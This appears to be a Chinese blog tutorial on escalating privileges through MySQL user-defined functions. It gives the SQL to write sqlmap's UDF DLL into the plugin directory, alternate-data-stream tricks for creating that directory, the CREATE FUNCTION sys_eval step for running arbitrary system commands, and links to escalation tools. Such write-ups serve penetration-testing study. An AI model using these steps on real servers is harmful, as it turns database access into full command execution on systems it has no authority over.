UDF提权

0x00 简介


看到了一些文章,有MySQL的udf提权,也有MSSQL的udf提权,这里以MySQL为例

udf是什么?

udf = "user defined function",即用户自定义函数

是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()

如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录

udf在mysql5.1以后的版本中,存在于"mysql/lib/plugin"目录下,文件后缀为".dll",常用c语言编写

提权条件

  1. 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数
  2. 拥有可以将udf.dll写入相应目录的权限(secure_file_priv =)

sqlmap中的udf文件定义的函数

到目前为止,对dll文件的理解是两个字,懵逼

sqlmap里是有udf.dll文件的,就在sqlmap\data\udf\mysql\windows\32目录下,里面有32位和64位,注意:这里的位数是mysql的位数,并不是对方系统的位数 

 

如何使用udf?

那如何使用udf文件呢? 

假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录下

在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令

如果我现在就打开mysql命令行,使用select sys_eval(‘dir‘);的话,系统会返回sys_eval()函数未定义

因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入

类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的

所以,我们应该把‘udf.dll’中的自定义函数引入进来

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval

还有一个变量是shared_library_name(共享包名称),即"udf.dll"

至此我们已经引入了sys_eval函数,下面就是使用了

0x01 复现


提权中用到的查询语句

SELECT version(); #查询数据库版本

SELECT @@basedir; #查询MySQL的安装目录

SELECT user();  #查询当前用户

SHOW VARIABLES LIKE '%plugins%';  #查找是否有plugins目录

show variables like '%compile%'; #查看数据库位数

至于各个大佬们用到的ads数据流,我是没有实验成功,不过这里还是放出来语句,万一以后有成功的呢

select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION';
select 'xxx' into outfile 'D:\\mysql\\lib\\plugin::$INDEX_ALLOCATION';

在这里我只能手动创建了,也是相当于获得webshell的情况下的提权

接下来,我们可以直接通过webshell把udf文件直接上传到相关目录

注意:sqlmap中的lib_mysqludf_sys.dll_文件时经过了异或编码的,我们需要进行解码,解码工具在sqlmap中,extra/cloak目录下的cloak.py就是

解码完成会生成如下文件

我们也可以执行sql命令,如下

select hex((select load_file('udf文件'))) into dumpfile '保存的路径\\1.txt';

CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
INSERT INTO udftmp values(unhex(‘udf文件的16进制格式‘)); //在udftmp中写入udf文件内容
SELECT c FROM udftmp INTO DUMPFILE 'E:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改

 

接下来导入我们需要的函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; 

0x02 工具


暗月工具

下载地址:https://pan.baidu.com/s/1EoGKX6bksOCFGgonFvfgYw  提取码:8ng0

个人感觉这个工具依然需要在plugin文件夹存在的前提下

打开工具页面如下:

导出udf文件

接下来直接执行命令即可

其他提权工具

可以进行多种提权

下载地址:https://github.com/v5est0r/Python_FuckMySQL

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值